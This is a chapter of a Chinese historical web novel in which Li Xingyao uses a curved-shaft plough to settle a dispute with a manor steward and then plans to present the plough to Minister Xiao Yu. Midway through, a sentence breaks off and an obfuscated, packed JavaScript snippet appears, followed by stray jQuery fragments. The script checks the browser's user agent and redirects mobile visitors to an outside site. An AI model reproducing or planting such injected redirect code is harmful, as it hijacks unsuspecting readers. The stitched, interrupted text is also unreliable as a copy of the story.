“王庄头,十块地全耕完了。”
李星遥开了口。
王庄头转过头看她,冷笑,“这些地,都不是你们耕的。”
“我并没有说过,由我们亲自来耕这十块地。”
李星遥不卑不亢。
她的确说过,要用耕十块地来抵胡麻油没榨干净一事,可她并没有说过,要自己亲自来耕这十块地。
曲辕犁的好处,她是知道的。
无人不向往更好用更省力的工具。果然,当赵端午指挥着牛拉着曲辕犁往前,农人们全被吸引了目光。
后头的,不过是顺理成章罢了。
“小娘子年纪虽小,心思却不少。今日是我着了你们的道,叫你们钻了空子,可我,也并不亏。”
王庄头还想为自己挽回几分颜面,他指着那十块地,依然嘴硬。
李星遥也不与他争执。
左右,事情办成了,她与阿兄,也并没怎么吃亏。
“你是不亏。”
李大郎正好从田里上来,闻言接了一句。他看了王庄头一眼,顺口又说:“你那些地,都是我们帮你耕的。”
“我又没让你们耕。”
王庄头一脸多管闲事的表情。
李大郎撇嘴,“这话说的。”
又说:“人家小郎君,连中男都不是。朝廷都不往他身上派发傜役。你倒好,一次让人家耕十块地。这事,亏你做得出来。”
“就是。”
黄三郎也从田里上来了,他面上同样不赞同,道:“论年纪,你为长,他为幼。论身份,你是庄头,他是外头的。他帮你做了活,你没给他工钱,原本该两清的,可你非要他再耕十块地。真是不明白,这话,你是怎么说的出口的?”
“丧了天良的东西。”
“以大欺小,可要不得啊。”
“以势压人,也要不得啊。”
余下农人也七嘴八舌的打抱不平起来,王庄头面上青红交加,藏在袖子里的手握成了拳头。再看李星遥安静地站在一边,而赵端午正心情愉悦地从田里上来,他心中更觉愤怒。
不自觉地往前走了几步,偏生农人看到赵端午上来,有心想讨教几句,便一窝蜂涌上去,将他挤到了后头。
他脚底下一个趔趄,险些一跟头从田垄上摔下去。
“小郎君,你快快同我们说说,那犁,究竟是怎么做的?”
“小郎君能帮我做个一样的犁吗?我可以帮小郎君耕田。”
“我也可以帮小郎君耕田!”
……
赵端午好不容易才从人群中挤出来,将曲辕犁往牛车上一放,他又快速给李星遥使了一个眼神。见李星遥上了车,忙推着牛车往前跑。
一边跑一边道:“下次再告诉你们,下次一定。”
他脚下步子极快,很快,就连人带车消失在了众人的视野里。
众人无奈,只得散去。
而屋子里,萧义明终于憋不住了。觑着两个“活祖宗”总算走了,他起身,从屋子里钻出来,又直朝着面色依然很难看的王庄头而去。
“四……四郎?”
王庄头这才注意到他。
唤了一声,又后知后觉地反应过来。刚才他以为的那独个来的仆从,并非独个来的,对方是陪萧义明一起来的。而萧义明,早已将方才他的所作所为看在了眼里。
心中莫名有点慌,想着自己是萧家旧人,又是庄子上的庄头,事情做得过了,主家那头,至多不过责骂自己几句,便定了定心神。
开口,正欲为自己辩驳几句,却听得:“呵呵。”
萧义明冷笑了两声,拂袖便走。
*
却说启夏门外,赵端午回头,见看不到农田与农人,方缓缓松了一口气。一边将车速慢下来,另一边,他擦把汗,道:“好累。”
“阿兄今日,辛苦了。”
李星遥由衷地说了一句。
刚才赵端午被人发难,拾掇了胡麻是事实,后来他来回跑拿了曲辕犁,又被人团团围着讨教也是事实。
说起来,“阿兄不会怪我擅作主张吧?”
“不会。”
赵端午摇头,“今日之事,本就是我的疏忽。那姓王的虽然可恶,可我没把胡麻榨干净,也是事实。”
今日之事,的确是他大意了。他只想快快把帮工一事揭过去,便没把舂米收拾麻枯当回事,结果一时疏忽,反让姓王的拿住了把柄。
想到那会李星遥说的话,忙又问:“对了,阿遥,你那会说,还有别的打算,究竟是何意?”
“阿兄。”
李星遥轻轻开了口,“若我说,我想把曲辕犁献给萧仆射,你会同意吗?”
“献给萧……萧仆射?”
赵端午一惊,差点脱口而出萧瑀的名字。他眼睛眨了一下,再睁开,还是不敢相信,“献给萧仆射?为什么要献给他?”
这么好的东西,凭什么给萧家老头?
那老头惯爱沽名钓誉,脾气还古怪的很。还有萧大头这个狗东西,今日的帐,他还没跟他算呢。
“我虽没见过萧仆射,却也听闻,其一心为国,为民。刚才阿兄也看到了,农人们,都想要这幅犁呢。”
“可是。”
赵端午还是没明白,东西好,大家都想要,很正常。可这和献给萧瑀又有什么关系?
“阿遥莫不是,惧怕萧家,怕因今日之事,被萧家报复?”
想了半天,他觉得,或许是今日与王庄头交恶,阿遥心中担忧。毕竟萧家位高权重,而自家,只是连肚子都填不饱的升斗小民。
官大一级压死人,阿遥是怕,若姓王的回去告状,萧家会找自家麻烦?
“不是。”
李星遥哭笑不得,见他想岔了,忙否认。
赵端午便又道:“那,阿遥难道是想,卖萧仆射一个好?”
不然实在无法解释,好端端的,为什么要把这样一个好东西白白送给别人。
“是。”
李星遥这次回答的很干脆,她甚至不避讳心中想法,道:“曲辕犁的好,有目共睹。阿兄觉得,这样好的东西展露人前,之后还能藏得住吗?”
“这……”
赵端午无从辩驳。
李星遥又道:“今日阿兄用曲辕犁时,那些农人,可都是看着的。他们又亲自上手,试过那犁,自然更知,那犁的好。既然藏不住,那便不藏。与其被人惦记着,还不如
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128013|180143||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
趁此机会,把犁献出去。萧仆射身居高位,管百姓生计,管天下杂事,这东西,早晚会传到他耳里。他想做什么,想怎么做,我不在意,我只要,他欠我一个人情。”
赵端午不说话。
他心里很乱,一时也忘了问妹妹,为何要让萧瑀欠她一个人情,这人情,又要用到何处。
他只觉,心跳的厉害,嗓子眼也干的很。
阿遥竟然想把曲辕犁献给萧瑀。
萧瑀啊,那可是萧大头的阿耶,尚书省的仆射,与柴家,平阳公主府再熟悉不过。若是身份曝光,若是阿遥知道真相……他想都不敢想!
这是要命的事。
李淳风曾说过,在天有异象之前,不能让阿遥知道自己的真实身份,否则,前功尽弃,阿遥必死无疑。
他不敢赌,也不敢试。
“我们只有一副犁,大兄又不在,没人会做……”
他试图说服李星遥。
李星遥道:“那副犁,其实是大兄按照我画的图做的。”
他:……
震惊过后,还是不愿松口,又继续找理由:“萧仆射何等人物,我们如何能进得了他家的门?”
“不用进他家的门。”
李星遥却极有信心,“他会主动来找我们。”
赵端午这下无话可说了。
暗暗定了定心神,他还是不松口,只敷衍道:“兹事体大,咱们还是先和阿耶阿娘商量一下吧。”
刚说到阿耶阿娘,便听到身边有人提到平阳公主的名字。
他脚下步子一顿,隐约听到对方说的是水硙之争一事的下文,心中一凛,越发加快了步子。
李星遥无奈,只得暂时掩口不提。
等回了赵家,当晚,见到李愿娘和赵光禄,赵端午便把白日里发生的事全说了,又把李星遥的话原封不动的说了一遍。
赵光禄听罢,面色几变,赫然从席上站了起来,道:“她自个去了城外?”
又不敢置信道:“她想把曲辕犁献给萧瑀?”
心中仍觉得不敢信,他看向李愿娘,却发现,原本该十分激动的李愿娘,竟然一直没有说话。
“愿娘,你怎么不说话?”
他问李愿娘。
李愿娘道:“阿遥自个走了那么长的路,并未出事,是好事。”
“那。”
赵光禄拿不准她的意思。
却听得:“其实阿遥说的,也有道理。”
李愿娘的目光依然很平静,她也从席上起了身,道:“曲辕犁既然已经拿了出去,叫人看见了,那便藏不住了。与其等着萧瑀找上门,闹得个满城风雨,不如先他一步,悄悄把东西送上去。如此,既能快快了结此事,也能卖萧瑀一个好。”
“可是。”
赵光禄仍有些犹豫,虽知道妻子说的是事实,萧瑀性子急,又身份使然,若知道曲辕犁的存在,定掘地三尺,也要把阿遥他兄妹两个找出来。
可……
防着萧瑀大动干戈是一回事,把曲辕犁献上去,又是另一回事。他觉得,后者的风险,比前者大的多得多。
他仍不赞同,李愿娘看向他,犹豫了一下,“我打算,再去见一见李淳风。”?